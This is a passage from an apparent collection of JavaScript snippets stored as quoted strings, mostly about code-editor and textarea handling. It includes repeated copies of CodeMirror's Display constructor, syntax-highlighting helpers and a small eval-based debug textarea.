d.poll = new Delayed();\n\n d.cachedCharWidth = d.cachedTextHeight = d.cachedPaddingH = null;\n\n // Tracks when resetInput has punted to just putting a short\n // string into the textarea instead of the full selection.\n d.inaccurateSelection = false;\n\n // Tracks the maximum line length so that the horizontal scrollbar\n // can be kept static when scrolling.\n d.maxLine = null;\n d.maxLineLength = 0;\n d.maxLineChanged = false;\n\n // Used for measuring wheel scrolling granularity\n d.wheelDX = d.wheelDY = d.wheelStartX = d.wheelStartY = null;\n\n // True when shift is held down.\n d.shift = false;\n\n // Used to track whether anything happened since the context menu\n // was opened.\n d.selForContextMenu = null;\n }", "function Display(place, doc) {\n var d = this;\n\n // The semihidden textarea that is focused when the editor is\n // focused, and receives input.\n var input = d.input = elt(\"textarea\", null, null, \"position: absolute; padding: 0; width: 1px; height: 1em; outline: none\");\n // The textarea is kept positioned near the cursor to prevent the\n // fact that it'll be scrolled into view on input from scrolling\n // our fake cursor out of view. On webkit, when wrap=off, paste is\n // very slow. So make the area wide instead.\n if (webkit) input.style.width = \"1000px\";\n else input.setAttribute(\"wrap\", \"off\");\n // If border: 0; -- iOS fails to open keyboard (issue #1287)\n if (ios) input.style.border = \"1px solid black\";\n input.setAttribute(\"autocorrect\", \"off\"); input.setAttribute(\"autocapitalize\", \"off\"); input.setAttribute(\"spellcheck\", \"false\");\n\n // Wraps and hides input textarea\n d.inputDiv = elt(\"div\", [input], null, \"overflow: hidden; position: relative; width: 3px; height: 0px;\");\n // The fake scrollbar elements.\n d.scrollbarH = elt(\"div\", [elt(\"div\", null, null, \"height: 100%; min-height: 1px\")], \"CodeMirror-hscrollbar\");\n d.scrollbarV = elt(\"div\", [elt(\"div\", null, null, \"min-width: 1px\")], \"CodeMirror-vscrollbar\");\n // Covers bottom-right square when both scrollbars are present.\n d.scrollbarFiller = elt(\"div\", null, \"CodeMirror-scrollbar-filler\");\n // Covers bottom of gutter when coverGutterNextToScrollbar is on\n // and h scrollbar is present.\n d.gutterFiller = elt(\"div\", null, \"CodeMirror-gutter-filler\");\n // Will contain the actual code, positioned to cover the viewport.\n d.lineDiv = elt(\"div\", null, \"CodeMirror-code\");\n // Elements are added to these to represent selection and cursors.\n d.selectionDiv = elt(\"div\", null, null, \"position: relative; z-index: 1\");\n d.cursorDiv = elt(\"div\", null, \"CodeMirror-cursors\");\n // A visibility: hidden element used to find the size of things.\n d.measure = elt(\"div\", null, \"CodeMirror-measure\");\n // When lines outside of the viewport are measured, they are drawn in this.\n d.lineMeasure = elt(\"div\", null, \"CodeMirror-measure\");\n // Wraps everything that needs to exist inside the vertically-padded coordinate system\n d.lineSpace = elt(\"div\", [d.measure, d.lineMeasure, d.selectionDiv, d.cursorDiv, d.lineDiv],\n null, \"position: relative; outline: none\");\n // Moved around its parent to cover visible view.\n d.mover = elt(\"div\", [elt(\"div\", [d.lineSpace], \"CodeMirror-lines\")], null, \"position: relative\");\n // Set to the height of the document, allowing scrolling.\n d.sizer = elt(\"div\", [d.mover], \"CodeMirror-sizer\");\n // Behavior of elts with overflow: auto and padding is\n // inconsistent across browsers. This is used to ensure the\n // scrollable area is big enough.\n d.heightForcer = elt(\"div\", null, null, \"position: absolute; height: \" + scrollerCutOff + \"px; width: 1px;\");\n // Will contain the gutters, if any.\n d.gutters = elt(\"div\", null, \"CodeMirror-gutters\");\n d.lineGutter = null;\n // Actual scrollable element.\n d.scroller = elt(\"div\", [d.sizer, d.heightForcer, d.gutters], \"CodeMirror-scroll\");\n d.scroller.setAttribute(\"tabIndex\", \"-1\");\n // The element in which the editor lives.\n d.wrapper = elt(\"div\", [d.inputDiv, d.scrollbarH, d.scrollbarV,\n d.scrollbarFiller, d.gutterFiller, d.scroller], \"CodeMirror\");\n\n // Work around IE7 z-index bug (not perfect, hence IE7 not really being supported)\n if (ie && ie_version < 8) { d.gutters.style.zIndex = -1; d.scroller.style.paddingRight = 0; }\n // Needed to hide big blue blinking cursor on Mobile Safari\n if (ios) input.style.width = \"0px\";\n if (!webkit) d.scroller.draggable = true;\n // Needed to handle Tab key in KHTML\n if (khtml) { d.inputDiv.style.height = \"1px\"; d.inputDiv.style.position = \"absolute\"; }\n // Need to set a minimum width to see the scrollbar on IE7 (but must not set it on IE8).\n if (ie && ie_version < 8) d.scrollbarH.style.minHeight = d.scrollbarV.style.minWidth = \"18px\";\n\n if (place.appendChild) place.appendChild(d.wrapper);\n else place(d.wrapper);\n\n // Current rendered range (may be bigger than the view window).\n d.viewFrom = d.viewTo = doc.first;\n // Information about the rendered lines.\n d.view = [];\n // Holds info about a single rendered line when it was rendered\n // for measurement, while not in view.\n d.externalMeasured = null;\n // Empty space (in pixels) above the view\n d.viewOffset = 0;\n d.lastSizeC = 0;\n d.updateLineNumbers = null;\n\n // Used to only resize the line number gutter when necessary (when\n // the amount of lines crosses a boundary that makes its width change)\n d.lineNumWidth = d.lineNumInnerWidth = d.lineNumChars = null;\n // See readInput and resetInput\n d.prevInput = \"\";\n // Set to true when a non-horizontal-scrolling line widget is\n // added. As an optimization, line widget aligning is skipped when\n // this is false.\n d.alignWidgets = false;\n // Flag that indicates whether we expect input to appear real soon\n // now (after some event like 'keypress' or 'input') and are\n // polling intensively.\n d.pollingFast = false;\n // Self-resetting timeout for the poller\n d.poll = new Delayed();\n\n d.cachedCharWidth = d.cachedTextHeight = d.cachedPaddingH = null;\n\n // Tracks when resetInput has punted to just putting a short\n // string into the textarea instead of the full selection.\n d.inaccurateSelection = false;\n\n // Tracks the maximum line length so that the horizontal scrollbar\n // can be kept static when scrolling.\n d.maxLine = null;\n d.maxLineLength = 0;\n d.maxLineChanged = false;\n\n // Used for measuring wheel scrolling granularity\n d.wheelDX = d.wheelDY = d.wheelStartX = d.wheelStartY = null;\n\n // True when shift is held down.\n d.shift = false;\n\n // Used to track whether anything happened since the context menu\n // was opened.\n d.selForContextMenu = null;\n }", "function Display(place, doc) {\n var d = this;\n\n // The semihidden textarea that is focused when the editor is\n // focused, and receives input.\n var input = d.input = elt(\"textarea\", null, null, \"position: absolute; padding: 0; width: 1px; height: 1em; outline: none\");\n // The textarea is kept positioned near the cursor to prevent the\n // fact that it'll be scrolled into view on input from scrolling\n // our fake cursor out of view. On webkit, when wrap=off, paste is\n // very slow. So make the area wide instead.\n if (webkit) input.style.width = \"1000px\";\n else input.setAttribute(\"wrap\", \"off\");\n // If border: 0; -- iOS fails to open keyboard (issue #1287)\n if (ios) input.style.border = \"1px solid black\";\n input.setAttribute(\"autocorrect\", \"off\"); input.setAttribute(\"autocapitalize\", \"off\"); input.setAttribute(\"spellcheck\", \"false\");\n\n // Wraps and hides input textarea\n d.inputDiv = elt(\"div\", [input], null, \"overflow: hidden; position: relative; width: 3px; height: 0px;\");\n // The fake scrollbar elements.\n d.scrollbarH = elt(\"div\", [elt(\"div\", null, null, \"height: 100%; min-height: 1px\")], \"CodeMirror-hscrollbar\");\n d.scrollbarV = elt(\"div\", [elt(\"div\", null, null, \"min-width: 1px\")], \"CodeMirror-vscrollbar\");\n // Covers bottom-right square when both scrollbars are present.\n d.scrollbarFiller = elt(\"div\", null, \"CodeMirror-scrollbar-filler\");\n // Covers bottom of gutter when coverGutterNextToScrollbar is on\n // and h scrollbar is present.\n d.gutterFiller = elt(\"div\", null, \"CodeMirror-gutter-filler\");\n // Will contain the actual code, positioned to cover the viewport.\n d.lineDiv = elt(\"div\", null, \"CodeMirror-code\");\n // Elements are added to these to represent selection and cursors.\n d.selectionDiv = elt(\"div\", null, null, \"position: relative; z-index: 1\");\n d.cursorDiv = elt(\"div\", null, \"CodeMirror-cursors\");\n // A visibility: hidden element used to find the size of things.\n d.measure = elt(\"div\", null, \"CodeMirror-measure\");\n // When lines outside of the viewport are measured, they are drawn in this.\n d.lineMeasure = elt(\"div\", null, \"CodeMirror-measure\");\n // Wraps everything that needs to exist inside the vertically-padded coordinate system\n d.lineSpace = elt(\"div\", [d.measure, d.lineMeasure, d.selectionDiv, d.cursorDiv, d.lineDiv],\n null, \"position: relative; outline: none\");\n // Moved around its parent to cover visible view.\n d.mover = elt(\"div\", [elt(\"div\", [d.lineSpace], \"CodeMirror-lines\")], null, \"position: relative\");\n // Set to the height of the document, allowing scrolling.\n d.sizer = elt(\"div\", [d.mover], \"CodeMirror-sizer\");\n // Behavior of elts with overflow: auto and padding is\n // inconsistent across browsers. This is used to ensure the\n // scrollable area is big enough.\n d.heightForcer = elt(\"div\", null, null, \"position: absolute; height: \" + scrollerCutOff + \"px; width: 1px;\");\n // Will contain the gutters, if any.\n d.gutters = elt(\"div\", null, \"CodeMirror-gutters\");\n d.lineGutter = null;\n // Actual scrollable element.\n d.scroller = elt(\"div\", [d.sizer, d.heightForcer, d.gutters], \"CodeMirror-scroll\");\n d.scroller.setAttribute(\"tabIndex\", \"-1\");\n // The element in which the editor lives.\n d.wrapper = elt(\"div\", [d.inputDiv, d.scrollbarH, d.scrollbarV,\n d.scrollbarFiller, d.gutterFiller, d.scroller], \"CodeMirror\");\n\n // Work around IE7 z-index bug (not perfect, hence IE7 not really being supported)\n if (ie && ie_version < 8) { d.gutters.style.zIndex = -1; d.scroller.style.paddingRight = 0; }\n // Needed to hide big blue blinking cursor on Mobile Safari\n if (ios) input.style.width = \"0px\";\n if (!webkit) d.scroller.draggable = true;\n // Needed to handle Tab key in KHTML\n if (khtml) { d.inputDiv.style.height = \"1px\"; d.inputDiv.style.position = \"absolute\"; }\n // Need to set a minimum width to see the scrollbar on IE7 (but must not set it on IE8).\n if (ie && ie_version < 8) d.scrollbarH.style.minHeight = d.scrollbarV.style.minWidth = \"18px\";\n\n if (place.appendChild) place.appendChild(d.wrapper);\n else place(d.wrapper);\n\n // Current rendered range (may be bigger than the view window).\n d.viewFrom = d.viewTo = doc.first;\n // Information about the rendered lines.\n d.view = [];\n // Holds info about a single rendered line when it was rendered\n // for measurement, while not in view.\n d.externalMeasured = null;\n // Empty space (in pixels) above the view\n d.viewOffset = 0;\n d.lastSizeC = 0;\n d.updateLineNumbers = null;\n\n // Used to only resize the line number gutter when necessary (when\n // the amount of lines crosses a boundary that makes its width change)\n d.lineNumWidth = d.lineNumInnerWidth = d.lineNumChars = null;\n // See readInput and resetInput\n d.prevInput = \"\";\n // Set to true when a non-horizontal-scrolling line widget is\n // added. As an optimization, line widget aligning is skipped when\n // this is false.\n d.alignWidgets = false;\n // Flag that indicates whether we expect input to appear real soon\n // now (after some event like 'keypress' or 'input') and are\n // polling intensively.\n d.pollingFast = false;\n // Self-resetting timeout for the poller\n d.poll = new Delayed();\n\n d.cachedCharWidth = d.cachedTextHeight = d.cachedPaddingH = null;\n\n // Tracks when resetInput has punted to just putting a short\n // string into the textarea instead of the full selection.\n d.inaccurateSelection = false;\n\n // Tracks the maximum line length so that the horizontal scrollbar\n // can be kept static when scrolling.\n d.maxLine = null;\n d.maxLineLength = 0;\n d.maxLineChanged = false;\n\n // Used for measuring wheel scrolling granularity\n d.wheelDX = d.wheelDY = d.wheelStartX = d.wheelStartY = null;\n\n // True when shift is held down.\n d.shift = false;\n\n // Used to track whether anything happened since the context menu\n // was opened.\n d.selForContextMenu = null;\n }", "function Display(place, doc) {\n var d = this;\n\n // The semihidden textarea that is focused when the editor is\n // focused, and receives input.\n var input = d.input = elt(\"textarea\", null, null, \"position: absolute; padding: 0; width: 1px; height: 1em; outline: none\");\n // The textarea is kept positioned near the cursor to prevent the\n // fact that it'll be scrolled into view on input from scrolling\n // our fake cursor out of view. On webkit, when wrap=off, paste is\n // very slow. So make the area wide instead.\n if (webkit) input.style.width = \"1000px\";\n else input.setAttribute(\"wrap\", \"off\");\n // If border: 0; -- iOS fails to open keyboard (issue #1287)\n if (ios) input.style.border = \"1px solid black\";\n input.setAttribute(\"autocorrect\", \"off\"); input.setAttribute(\"autocapitalize\", \"off\"); input.setAttribute(\"spellcheck\", \"false\");\n\n // Wraps and hides input textarea\n d.inputDiv = elt(\"div\", [input], null, \"overflow: hidden; position: relative; width: 3px; height: 0px;\");\n // The fake scrollbar elements.\n d.scrollbarH = elt(\"div\", [elt(\"div\", null, null, \"height: 100%; min-height: 1px\")], \"CodeMirror-hscrollbar\");\n d.scrollbarV = elt(\"div\", [elt(\"div\", null, null, \"min-width: 1px\")], \"CodeMirror-vscrollbar\");\n // Covers bottom-right square when both scrollbars are present.\n d.scrollbarFiller = elt(\"div\", null, \"CodeMirror-scrollbar-filler\");\n // Covers bottom of gutter when coverGutterNextToScrollbar is on\n // and h scrollbar is present.\n d.gutterFiller = elt(\"div\", null, \"CodeMirror-gutter-filler\");\n // Will contain the actual code, positioned to cover the viewport.\n d.lineDiv = elt(\"div\", null, \"CodeMirror-code\");\n // Elements are added to these to represent selection and cursors.\n d.selectionDiv = elt(\"div\", null, null, \"position: relative; z-index: 1\");\n d.cursorDiv = elt(\"div\", null, \"CodeMirror-cursors\");\n // A visibility: hidden element used to find the size of things.\n d.measure = elt(\"div\", null, \"CodeMirror-measure\");\n // When lines outside of the viewport are measured, they are drawn in this.\n d.lineMeasure = elt(\"div\", null, \"CodeMirror-measure\");\n // Wraps everything that needs to exist inside the vertically-padded coordinate system\n d.lineSpace = elt(\"div\", [d.measure, d.lineMeasure, d.selectionDiv, d.cursorDiv, d.lineDiv],\n null, \"position: relative; outline: none\");\n // Moved around its parent to cover visible view.\n d.mover = elt(\"div\", [elt(\"div\", [d.lineSpace], \"CodeMirror-lines\")], null, \"position: relative\");\n // Set to the height of the document, allowing scrolling.\n d.sizer = elt(\"div\", [d.mover], \"CodeMirror-sizer\");\n // Behavior of elts with overflow: auto and padding is\n // inconsistent across browsers. This is used to ensure the\n // scrollable area is big enough.\n d.heightForcer = elt(\"div\", null, null, \"position: absolute; height: \" + scrollerCutOff + \"px; width: 1px;\");\n // Will contain the gutters, if any.\n d.gutters = elt(\"div\", null, \"CodeMirror-gutters\");\n d.lineGutter = null;\n // Actual scrollable element.\n d.scroller = elt(\"div\", [d.sizer, d.heightForcer, d.gutters], \"CodeMirror-scroll\");\n d.scroller.setAttribute(\"tabIndex\", \"-1\");\n // The element in which the editor lives.\n d.wrapper = elt(\"div\", [d.inputDiv, d.scrollbarH, d.scrollbarV,\n d.scrollbarFiller, d.gutterFiller, d.scroller], \"CodeMirror\");\n\n // Work around IE7 z-index bug (not perfect, hence IE7 not really being supported)\n if (ie && ie_version < 8) { d.gutters.style.zIndex = -1; d.scroller.style.paddingRight = 0; }\n // Needed to hide big blue blinking cursor on Mobile Safari\n if (ios) input.style.width = \"0px\";\n if (!webkit) d.scroller.draggable = true;\n // Needed to handle Tab key in KHTML\n if (khtml) { d.inputDiv.style.height = \"1px\"; d.inputDiv.style.position = \"absolute\"; }\n // Need to set a minimum width to see the scrollbar on IE7 (but must not set it on IE8).\n if (ie && ie_version < 8) d.scrollbarH.style.minHeight = d.scrollbarV.style.minWidth = \"18px\";\n\n if (place.appendChild) place.appendChild(d.wrapper);\n else place(d.wrapper);\n\n // Current rendered range (may be bigger than the view window).\n d.viewFrom = d.viewTo = doc.first;\n // Information about the rendered lines.\n d.view = [];\n // Holds info about a single rendered line when it was rendered\n // for measurement, while not in view.\n d.externalMeasured = null;\n // Empty space (in pixels) above the view\n d.viewOffset = 0;\n d.lastSizeC = 0;\n d.updateLineNumbers = null;\n\n // Used to only resize the line number gutter when necessary (when\n // the amount of lines crosses a boundary that makes its width change)\n d.lineNumWidth = d.lineNumInnerWidth = d.lineNumChars = null;\n // See readInput and resetInput\n d.prevInput = \"\";\n // Set to true when a non-horizontal-scrolling line widget is\n // added. As an optimization, line widget aligning is skipped when\n // this is false.\n d.alignWidgets = false;\n // Flag that indicates whether we expect input to appear real soon\n // now (after some event like 'keypress' or 'input') and are\n // polling intensively.\n d.pollingFast = false;\n // Self-resetting timeout for the poller\n d.poll = new Delayed();\n\n d.cachedCharWidth = d.cachedTextHeight = d.cachedPaddingH = null;\n\n // Tracks when resetInput has punted to just putting a short\n // string into the textarea instead of the full selection.\n d.inaccurateSelection = false;\n\n // Tracks the maximum line length so that the horizontal scrollbar\n // can be kept static when scrolling.\n d.maxLine = null;\n d.maxLineLength = 0;\n d.maxLineChanged = false;\n\n // Used for measuring wheel scrolling granularity\n d.wheelDX = d.wheelDY = d.wheelStartX = d.wheelStartY = null;\n\n // True when shift is held down.\n d.shift = false;\n\n // Used to track whether anything happened since the context menu\n // was opened.\n d.selForContextMenu = null;\n }", "_highlightCode() {\n let code = this.$('pre code');\n\n code.each((i, block) => {\n Highlight.highlightBlock(block);\n });\n }", "function textToEditor() {\n\t\t$(editor.text_panel)\n\t\t\t.html(\"\")\n\t\t\t.append(window.TheEditor.highlighter(text_area.value));\n\t\t$(editor.text_panel)\n\t\t\t.css('minWidth', (editor.outer.clientWidth - 44) + 'px')\n\t\t\t.css('minHeight', (editor.outer.clientHeight - 4) + 'px');\n\t\t$(editor.back_panel)\n\t\t\t.css('minWidth', (editor.outer.clientWidth - 44) + 'px');\n\t}", "function createCodeBlock() {\n var selectedHtml = getSelectionHtml();\n var language = 'javascript';\n var code = hljs.highlight(language, selectedHtml).value;\n code = '<pre><code>' + code + '</code></pre>';\n replaceSelectionWithHtml(code);\n}", "function typeInTextarea(newText) {\n var el = document.querySelector(\"#msgEdit\");\n var start = el.selectionStart\n var end = el.selectionEnd\n var text = el.value\n var before = text.substring(0, start)\n var after = text.substring(end, text.length)\n el.value = (before + newText + after)\n el.selectionStart = el.selectionEnd = start + newText.length\n el.focus()\n }", "setText(text) {\n this._codeMirror.setValue(text);\n }", "function textEditor(container, options) {\n $('<textarea class=\"library_textarea\" data-bind=\"value: ' + options.field + '\"></textarea>').appendTo(container);\n }", "function Display(place, doc) {\r\n var d = this;\r\n\r\n // The semihidden textarea that is focused when the editor is\r\n // focused, and receives input.\r\n var input = d.input = elt(\"textarea\", null, null, \"position: absolute; padding: 0; width: 1px; height: 1em; outline: none\");\r\n // The textarea is kept positioned near the cursor to prevent the\r\n // fact that it'll be scrolled into view on input from scrolling\r\n // our fake cursor out of view. On webkit, when wrap=off, paste is\r\n // very slow. So make the area wide instead.\r\n if (webkit) input.style.width = \"1000px\";\r\n else input.setAttribute(\"wrap\", \"off\");\r\n // If border: 0; -- iOS fails to open keyboard (issue #1287)\r\n if (ios) input.style.border = \"1px solid black\";\r\n input.setAttribute(\"autocorrect\", \"off\"); input.setAttribute(\"autocapitalize\", \"off\"); input.setAttribute(\"spellcheck\", \"false\");\r\n\r\n // Wraps and hides input textarea\r\n d.inputDiv = elt(\"div\", [input], null, \"overflow: hidden; position: relative; width: 3px; height: 0px;\");\r\n // The fake scrollbar elements.\r\n d.scrollbarH = elt(\"div\", [elt(\"div\", null, null, \"height: 100%; min-height: 1px\")], \"CodeMirror-hscrollbar\");\r\n d.scrollbarV = elt(\"div\", [elt(\"div\", null, null, \"min-width: 1px\")], \"CodeMirror-vscrollbar\");\r\n // Covers bottom-right square when both scrollbars are present.\r\n d.scrollbarFiller = elt(\"div\", null, \"CodeMirror-scrollbar-filler\");\r\n // Covers bottom of gutter when coverGutterNextToScrollbar is on\r\n // and h scrollbar is present.\r\n d.gutterFiller = elt(\"div\", null, \"CodeMirror-gutter-filler\");\r\n // Will contain the actual code, positioned to cover the viewport.\r\n d.lineDiv = elt(\"div\", null, \"CodeMirror-code\");\r\n // Elements are added to these to represent selection and cursors.\r\n d.selectionDiv = elt(\"div\", null, null, \"position: relative; z-index: 1\");\r\n d.cursorDiv = elt(\"div\", null, \"CodeMirror-cursors\");\r\n // A visibility: hidden element used to find the size of things.\r\n d.measure = elt(\"div\", null, \"CodeMirror-measure\");\r\n // When lines outside of the viewport are measured, they are drawn in this.\r\n d.lineMeasure = elt(\"div\", null, \"CodeMirror-measure\");\r\n // Wraps everything that needs to exist inside the vertically-padded coordinate system\r\n d.lineSpace = elt(\"div\", [d.measure, d.lineMeasure, d.selectionDiv, d.cursorDiv, d.lineDiv],\r\n null, \"position: relative; outline: none\");\r\n // Moved around its parent to cover visible view.\r\n d.mover = elt(\"div\", [elt(\"div\", [d.lineSpace], \"CodeMirror-lines\")], null, \"position: relative\");\r\n // Set to the height of the document, allowing scrolling.\r\n d.sizer = elt(\"div\", [d.mover], \"CodeMirror-sizer\");\r\n // Behavior of elts with overflow: auto and padding is\r\n // inconsistent across browsers. This is used to ensure the\r\n // scrollable area is big enough.\r\n d.heightForcer = elt(\"div\", null, null, \"position: absolute; height: \" + scrollerCutOff + \"px; width: 1px;\");\r\n // Will contain the gutters, if any.\r\n d.gutters = elt(\"div\", null, \"CodeMirror-gutters\");\r\n d.lineGutter = null;\r\n // Actual scrollable element.\r\n d.scroller = elt(\"div\", [d.sizer, d.heightForcer, d.gutters], \"CodeMirror-scroll\");\r\n d.scroller.setAttribute(\"tabIndex\", \"-1\");\r\n // The element in which the editor lives.\r\n d.wrapper = elt(\"div\", [d.inputDiv, d.scrollbarH, d.scrollbarV,\r\n d.scrollbarFiller, d.gutterFiller, d.scroller], \"CodeMirror\");\r\n\r\n // Work around IE7 z-index bug (not perfect, hence IE7 not really being supported)\r\n if (ie && ie_version < 8) { d.gutters.style.zIndex = -1; d.scroller.style.paddingRight = 0; }\r\n // Needed to hide big blue blinking cursor on Mobile Safari\r\n if (ios) input.style.width = \"0px\";\r\n if (!webkit) d.scroller.draggable = true;\r\n // Needed to handle Tab key in KHTML\r\n if (khtml) { d.inputDiv.style.height = \"1px\"; d.inputDiv.style.position = \"absolute\"; }\r\n // Need to set a minimum width to see the scrollbar on IE7 (but must not set it on IE8).\r\n if (ie && ie_version < 8) d.scrollbarH.style.minHeight = d.scrollbarV.style.minWidth = \"18px\";\r\n\r\n if (place.appendChild) place.appendChild(d.wrapper);\r\n else place(d.wrapper);\r\n\r\n // Current rendered range (may be bigger than the view window).\r\n d.viewFrom = d.viewTo = doc.first;\r\n // Information about the rendered lines.\r\n d.view = [];\r\n // Holds info about a single rendered line when it was rendered\r\n // for measurement, while not in view.\r\n d.externalMeasured = null;\r\n // Empty space (in pixels) above the view\r\n d.viewOffset = 0;\r\n d.lastSizeC = 0;\r\n d.updateLineNumbers = null;\r\n\r\n // Used to only resize the line number gutter when necessary (when\r\n // the amount of lines crosses a boundary that makes its width change)\r\n d.lineNumWidth = d.lineNumInnerWidth = d.lineNumChars = null;\r\n // See readInput and resetInput\r\n d.prevInput = \"\";\r\n // Set to true when a non-horizontal-scrolling line widget is\r\n // added. As an optimization, line widget aligning is skipped when\r\n // this is false.\r\n d.alignWidgets = false;\r\n // Flag that indicates whether we expect input to appear real soon\r\n // now (after some event like 'keypress' or 'input') and are\r\n // polling intensively.\r\n d.pollingFast = false;\r\n // Self-resetting timeout for the poller\r\n d.poll = new Delayed();\r\n\r\n d.cachedCharWidth = d.cachedTextHeight = d.cachedPaddingH = null;\r\n\r\n // Tracks when resetInput has punted to just putting a short\r\n // string into the textarea instead of the full selection.\r\n d.inaccurateSelection = false;\r\n\r\n // Tracks the maximum line length so that the horizontal scrollbar\r\n // can be kept static when scrolling.\r\n d.maxLine = null;\r\n d.maxLineLength = 0;\r\n d.maxLineChanged = false;\r\n\r\n // Used for measuring wheel scrolling granularity\r\n d.wheelDX = d.wheelDY = d.wheelStartX = d.wheelStartY = null;\r\n\r\n // True when shift is held down.\r\n d.shift = false;\r\n\r\n // Used to track whether anything happened since the context menu\r\n // was opened.\r\n d.selForContextMenu = null;\r\n }", "function markup(e){var t,n,i,r;if(hash=clicked=e,get(),$.extend(hash,{line:\"\",root:options.root,textarea:textarea,selection:selection||\"\",caretPosition:caretPosition,ctrlKey:ctrlKey,shiftKey:shiftKey,altKey:altKey}),\n// callbacks before insertion\nprepare(options.beforeInsert),prepare(clicked.beforeInsert),(!0===ctrlKey&&!0===shiftKey||!0===e.multiline)&&prepare(clicked.beforeMultiInsert),$.extend(hash,{line:1}),!0===ctrlKey&&!0===shiftKey){for(lines=selection.split(/\\r?\\n/),n=0,i=lines.length,r=0;r<i;r++)\"\"!==$.trim(lines[r])?($.extend(hash,{line:++n,selection:lines[r]}),lines[r]=build(lines[r]).block):lines[r]=\"\";string={block:lines.join(\"\\n\")},start=caretPosition,t=string.block.length+(browser.opera?i-1:0)}else!0===ctrlKey?(string=build(selection),start=caretPosition+string.openWith.length,t=string.block.length-string.openWith.length-string.closeWith.length,t-=string.block.match(/ $/)?1:0,t-=fixIeBug(string.block)):!0===shiftKey?(string=build(selection),start=caretPosition,t=string.block.length,t-=fixIeBug(string.block)):(string=build(selection),start=caretPosition+string.block.length,t=0,start-=fixIeBug(string.block));\"\"===selection&&\"\"===string.replaceWith&&(caretOffset+=fixOperaBug(string.block),start=caretPosition+string.openBlockWith.length+string.openWith.length,t=string.block.length-string.openBlockWith.length-string.openWith.length-string.closeWith.length-string.closeBlockWith.length,caretOffset=$$.val().substring(caretPosition,$$.val().length).length,caretOffset-=fixOperaBug($$.val().substring(0,caretPosition))),$.extend(hash,{caretPosition:caretPosition,scrollPosition:scrollPosition}),string.block!==selection&&!1===abort?(insert(string.block),set(start,t)):caretOffset=-1,get(),$.extend(hash,{line:\"\",selection:selection}),\n// callbacks after insertion\n(!0===ctrlKey&&!0===shiftKey||!0===e.multiline)&&prepare(clicked.afterMultiInsert),prepare(clicked.afterInsert),prepare(options.afterInsert),\n// refresh preview if opened\npreviewWindow&&options.previewAutoRefresh&&refreshPreview(),\n// reinit keyevent\nshiftKey=altKey=ctrlKey=abort=!1}", "function writeText(text) {\n document.getElementById(\"fieldToComplet\").innerHTML += text + '<br>';\n }", "function cmtxHighlightCode() {\n if (typeof(hljs) != 'undefined' && typeof(hljs.highlightElement) != 'undefined') {\n jQuery('.cmtx_code_box, .cmtx_php_box').each(function(i, el) {\n hljs.highlightElement(el);\n });\n }\n}", "function clearText()\n{\n codeProcessor.clear();\n}", "function TextAreaWidget(initVal,rows,cols) {\n\tInputWidget.apply(this,[TEXTAREA({rows:rows,cols:cols},initVal)]);\n}", "function Editor() { }", "function Editor() { }", "get editorTextField() {\n return this.i.js;\n }", "function loadEditor(code) {\n\t\tvar curPos = P3_EDITOR.getCursorPosition();\n\t\tP3_EDITOR.setValue(code);\n\t\tP3_EDITOR.gotoLine(curPos.row);\n\t\tP3_EDITOR.moveCursorTo(curPos.row, curPos.column);\n\t}", "function boxClick() {\n let parentUl = $(this.parentElement);\n let textArea = $('.text-area', parentUl);\n let comment = $('.comment', parentUl);\n $(this).hide();\n $(textArea).show();\n $(comment).show();\n $(textArea).focus();\n let text = $('p', this)[0].innerHTML;\n textArea.val(text);\n $(textArea).focus();\n\n initialContent = textArea.val();\n initialComment = comment.val();\n }", "function changeText() {\n\t\tflipDisableOption();\n\t\trunning = true;\n\t\tcurrentFrames = $(\"text-area\").value;\n\t\tcurrentInterval = setInterval(insertFrame, currentSpeed);\n\t}", "function addChar() {\n //updateBtnColor();\n document.body.style.backgroundColor = \"white\";\n let code = $(\"code1\").innerText;\n if(code.length < PULL_LENGTH)\n $(\"code1\").innerText += this.innerText;\n }", "init() {\n this.appendDummyInput()\n .appendField('text');\n this.setPreviousStatement(true);\n this.setNextStatement(true);\n this.setColour(textHUE);\n this.setTooltip('Adds a text input');\n this.contextMenu = false;\n }", "function onSourceCodeBlur(sourceCodeId) {\n $(sourceCodeId).on(\"blur\", function () {\n formatSourceCode(sourceCodeId);\n });\n }", "executeCode() {\n const separator = '/';\n const chosenLanguage = this.uiHandler.chosenLanguage;\n\n this.serverOutlet.send(chosenLanguage + separator + this.engine.getValue(), (e, msg) => {\n });\n\n // Save settings\n settingsHandler.saveEditorLanguageMode(chosenLanguage);\n settingsHandler.saveEditorContent(this.engine.getValue());\n }", "function put() {\n\tvar which = this.value;\n\tdocument.getElementById(\"mytextarea\").value = ANIMATIONS[which];\n}", "function InitValues_Framework_L1(){\n // You must make textarea, slidbar and more.\n}", "function InitValues_Framework_L1(){\n // You must make textarea, slidbar and more.\n}", "initEditor() {\n let savedCode = this.service.getCode(this.currentExo.method);\n if (savedCode)\n this.editor.setValue(savedCode);\n\n byId('editor').style.height = this.editorHeight + 'px';\n this.editor.resize();\n }", "set richText(value) {}", "function Window_TextEdit() {\n\t\tthis.initialize(...arguments);\n\t}", "function xEvalTextarea()\r\n{\r\n var f = document.createElement('FORM');\r\n f.onsubmit = 'return false';\r\n var t = document.createElement('TEXTAREA');\r\n t.id='xDebugTA';\r\n t.name='xDebugTA';\r\n t.rows='20';\r\n t.cols='60';\r\n var b = document.createElement('INPUT');\r\n b.type = 'button';\r\n b.value = 'Evaluate';\r\n b.onclick = function() {eval(this.form.xDebugTA.value);};\r\n f.appendChild(t);\r\n f.appendChild(b);\r\n document.body.appendChild(f);\r\n}", "setText(_text) {\n return this.setHTML(this.escapeHTML(_text));\n }", "editCommand(){const richtext=this.shadowRoot.getElementById(\"richtext\"),editmode=richtext.contentDocument;editmode.designMode=\"on\"}", "text () {\n\n }", "function ontext (text) {\n return text;\n}", "_showEditor() {\n const EditorCls = this.richText ? CodeMirrorWrapper : TextAreaWrapper;\n\n if (this.richText) {\n RB.DnDUploader.instance.registerDropTarget(\n this.$el, gettext('Drop to add an image'),\n this._uploadImage.bind(this));\n }\n\n this._editor = new EditorCls({\n parentEl: this.el,\n autoSize: this.options.autoSize,\n minHeight: this.options.minHeight\n });\n\n this._editor.setText(this._value);\n this._value = '';\n this._richTextDirty = false;\n this._prevClientHeight = null;\n\n this._editor.$el.on(\n 'resize',\n _.throttle(() => this.$el.triggerHandler('resize'), 250));\n\n this.listenTo(this._editor, 'change', _.throttle(() => {\n /*\n * Make sure that the editor wasn't closed before the throttled\n * handler was reached.\n */\n if (this._editor === null) {\n return;\n }\n\n const clientHeight = this._editor.getClientHeight();\n\n if (clientHeight !== this._prevClientHeight) {\n this._prevClientHeight = clientHeight;\n this.$el.triggerHandler('resize');\n 